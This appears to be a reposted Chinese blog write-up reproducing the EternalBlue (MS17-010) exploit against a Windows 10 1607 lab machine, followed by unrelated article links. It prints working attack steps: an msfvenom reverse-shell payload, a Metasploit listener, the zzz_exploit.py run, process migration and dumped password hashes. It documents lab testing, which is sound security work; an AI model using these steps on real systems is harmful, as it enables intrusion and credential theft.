您现在的位置是:首页 > 正文

永恒之蓝Windows10版初探

2024-02-29 16:39:30阅读 2

更新时间:2023年03月09日09:17:08

1. 背景介绍

永恒之蓝(ms17-010)通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
参考:https://www.freebuf.com/vuls/349281.html
其实永恒之蓝这个漏洞影响的范围非常广,大致有以下类型:

Windows 2016 x64
Windows 10 Pro Vuild 10240 x64
Windows 2012 R2 x64
Windows 8.1 x64
Windows 2008 R2 SP1 x64
Windows 7 SP1 x64
Windows 2008 SP1 x64
Windows 2003 R2 SP2 x64
Windows XP SP2 x64
Windows 8.1 x86
Windows 7 SP1 x86
Windows 2008 SP1 x86
Windows 2003 SP2 x86
Windows XP SP3 x86
Windows 2000 SP4 x86

相关的cve有:CVE-2017-0145、CVE-2017-0146、CVE-2017-0147、CVE-2017-0148。
基本上我们搜索永恒之蓝漏洞复现,99%的师傅选择的都是Windows7或者Windows server2008,因为这两个系统复现的成功了将近100%(在存在漏洞的情况下),复现的前提条件是:

  • 关闭防火墙
  • 关闭杀软(当然win708本身不带有任何杀软)
  • 确认445端口开放

但是在上述列表中,该漏洞甚至还影响Windows10Windows server2016等,所以在这里复现的时候,查找了很多资料,只在YouTube上看到部分复现的视频,上面复现使用的是Windows server2016 standard Evaluation版本,后来我们尝试使用非常多的镜像版本去尝试复现:

image.png

其中有一个Windows10 pro英文版,短暂复现成功过一次之后,其他均失败。

2. Windows10 1607版本漏洞复现

后来经过曾哥师傅的指点,在Windows10 15111607的版本上可能存在漏洞,并且他在1607版本上复现成功,经过整理发现,复现成功需要以下条件:

  • 关闭Windows defender
  • 禁止Windows10更新
  • 关闭防火墙
  • 在本地计算机策略里面,修改本地策略的安全选项,设置可匿名访问的共享
  • 使用老版本msf或者使用工具自己跑

2.1 msf新版

攻击机:mac 10.30.1.214
靶机:Windows10虚拟机 1607版本192.168.135.28
当然啦,我们先按照新版本msf6和不关闭组策略的情况下进行测试,先安装了一个1607版本的镜像虚拟机:

ed2k://|file|cn_windows_10_multiple_editions_version_1607_updated_jul_2016_x64_dvd_9056935.iso|4347183104|35EA5DB0F3BB714F5CE0740FB89D82D1|/

先关闭其他的杂项,关闭Windows defender

image.png

关闭防火墙等,不设置可匿名访问的共享,在这里查看ip和版本信息:

image.png

image.png

使用msf6来进行测试:
image.png

使用第一个进行测试,在这里面的第二个2023的那个,是老版本msf5里面的,是我自己加上去的,后续再说:

image.png

在这里发现,无论如何run,都会存在一个错误,这是网络连接错误,在这里就按照上面师傅的要求设置可匿名访问的共享,再跑:
image.png

image.png

在这里设置为\,保存之后再跑一下:

image.png

这次没有错误了,但是你无论如何run,会话就回不来,看下当前模块支持的系统类型:

image.png

当前是支持这里面的win10的,可能是系统不对的问题,如果使用老版的msf来执行的话,其实可以直接弹回来的,在这里借用橘子师傅的截图:
image.png

image.png

当然如果将msf5版本的模块直接放到msf6里面使用的话,会因为一些问题发生报错,可能是因为版本的问题:
image.png

2.2 工具版

攻击机:mac 10.30.1.214
靶机:Windows10虚拟机 1607版本 192.168.135.28

如果不使用msf的话,在这里参考以下师傅的文章,利用工具来进行复现,当然前提依旧是需要设置可匿名访问的共享:

https://blog.csdn.net/shuryuu/article/details/121159254

工具地址:

https://github.com/worawit/MS17-010

2.2.1 检测永恒之蓝漏洞

github上工具下载到本地之后,先试用脚本检测下是否存在永恒之蓝漏洞,在这里使用Python2

python checker.py 192.168.135.28

image.png

上图是正常的,如果是不正常的会显示:
image.png
当前如果再执行exp的话,会失败。

2.2.2 漏洞利用

首先生成一个exe,等会回弹到本地来:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.30.1.214  LPORT=7788  -f  exe  -o  7788.exe 

image.png

另外一侧,打开msf,准备接收会话:

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp 
set lhost 10.30.1.214 
set lport 7788
run

image.png

打开刚下载的代码中的zzz_exploit.py文件,注释以下几行:
image.png

取消注释以下几行,并修改其中的文件:
image.png

在这里注意:第一个7788.exe是要和你的脚本在同一个文件夹下,如果不在的话,可以写其他的绝对路径,比如:/tmp/1.exe,如果永恒之蓝漏洞执行成功的话,就会将这个文件传到靶机的C盘下,文件名就是7788.exe
修改好之后,准备执行:

python zzz_exploit.py  192.168.135.28 netlogon(这个可以不带)

image.png

此时会话就弹回来了:
image.png

image.png

此时尝试抓取hash
image.png

显示无法抓取,应该是进程问题,将进程由x86的迁移至x64的应该就可以了,查看下当前的进程:

meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 5616
meterpreter > ps

image.png

将当前的进程迁移至session0,权限是systemx64的进程上来:
image.png

迁移到308上:

meterpreter > migrate 308
[*] Migrating from 5616 to 308...
[*] Migration completed successfully.
meterpreter > hashdump
admin:1000:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

image.png

再进行解密即可:

image.png

2.3 影响Windows10漏洞的因素

其实在上面2.2执行的时候,有些步骤配置了,但是依旧失败:

  • 关闭Windows defender
  • 禁止Windows10更新
  • 关闭防火墙
  • 在本地计算机策略里面,修改本地策略的安全选项,设置可匿名访问的共享

但是在重启之后,就可以了,在这里经过测试发现,设置可匿名访问的共享是当前Windows10版本利用的必要条件。
如果以上还不能成功,可以尝试开启3389,允许任何人访问。
并在本地安全策略中,关闭以下选项,重启之后再测试:
image.png

3. 总结

本次Windows10版本的永恒之蓝漏洞,理论上利用比较苛刻,需要手动配置,所以在实战中,基本上没有太大用处。

网站文章

  • 架构成长之路:Netty之ChannelHandler源码

    架构成长之路:Netty之ChannelHandler源码

    本节对handler的一个基本内容进行了说明,主要讲解了handlerContext的执行过程,明确了调用链的入口在于pipeline,通过pipeline和context的控制,保证链的执行。channel的生命周期控制pipeline就能控制整个handler的执行。

    2024-02-29 16:39:20
  • linux服务器监控之万能命令、进程追踪、监控工具与分析、定时任务

    linux服务器监控之万能命令、进程追踪、监控工具与分析、定时任务

    在实际工作中的场景,当一个应用上到生产环境,测试报告要有一个性能损耗的预估的一个体现,这个体现的依据就是要有一个性能损耗指标,性能损耗指标算法:就是相同的脚本,相同的场景,相同的并发用户数,增加服务器...

    2024-02-29 16:39:13
  • 带t2芯片的mac装linux,苹果新款Mac引入T2芯片 导致第三方修理彻底不可能

    带t2芯片的mac装linux,苹果新款Mac引入T2芯片 导致第三方修理彻底不可能

    [摘要]随着T2芯片的引入,苹果将彻底阻止除授权服务提供商以外的任何人去维修产品。Mashable中文站 10月6日报道对苹果硬件的拆解一再表明,这些设备的修理非常困难。苹果不希望让你自己去维修它的设...

    2024-02-29 16:38:45
  • 三-基础选择器+字体文本相关样式

    三-基础选择器+字体文本相关样式

    HTML+CSS

    2024-02-29 16:38:38
  • java有箭头函数吗_深入理解箭头函数

    java有箭头函数吗_深入理解箭头函数

    箭头函数不仅仅是编写简洁代码的“捷径”。它还具有非常特殊且有用的特性。JavaScript 充满了我们需要编写在其他地方执行的小函数的情况。例如:arr.forEach(func) —— forEac...

    2024-02-29 16:38:31
  • SQL:不存在则 insert, 存在则 update

    注意,除非表有一个PRIMARY KEY或UNIQUE索引,否则,使用一个REPLACE语句没有意义。该语句会与INSERT相同,因为没有索引被用于确定是否新行复制了其它的行。条件进行过滤数据的操作,...

    2024-02-29 16:38:25
  • ubuntu18.04中文输入问题

    ubuntu18.04中文输入问题

    ubuntu中文输入问题:终端输入:sudo apt-get install ibus-pinyin然后在 settings 的 Region & Language 的 Input Sources设置栏中 点击 Manage Installed Language ,初次进入会安装些字体等相关信息。重启后使之生效。 点击 + 添加 Chinese(Intell...

    2024-02-29 16:37:56
  • 新版chrome浏览器字体编码插件Charset v0.5.5

    新版chrome浏览器字体编码插件Charset v0.5.5

    谷歌浏览器编码 Charset_v0.5.5

    2024-02-29 16:37:48
  • docker常用命令及常见问题整理

    docker常用命令及常见问题整理

    一、Docker核心概念1.Docker镜像类似于虚拟机镜像,理解为面向Docker引擎得只读模板,包含文件系统。2.docker容器类似一个轻量级沙箱,docker利用容器隔离、运行应用。容器是从镜像创建得应用实例,各容器创建、运行、停止,互不影响。镜像本身只是可读得。容器从镜像启动时候,docker会在镜像最上层创建一个可写层,镜像本身保持不变。3.docker仓库,类...

    2024-02-29 16:37:40
  • ajax工具包,使用Ajax工具包的日历

    我正在尝试使用JavaScript中的AJAX工具包在我的ASP.NET网页中实现日历,以便动态创建文本框并使用弹出日历填充它。代码如下:for(var j=1; j<2;j++){BorderStyle="Inset" Width="10px" >}在浏览器中查看后出现以下错误:在DataBind,Init,Load期间无法修改控件集合,PreRender或卸载阶段。描述:未处理的异...

    2024-02-29 16:37:07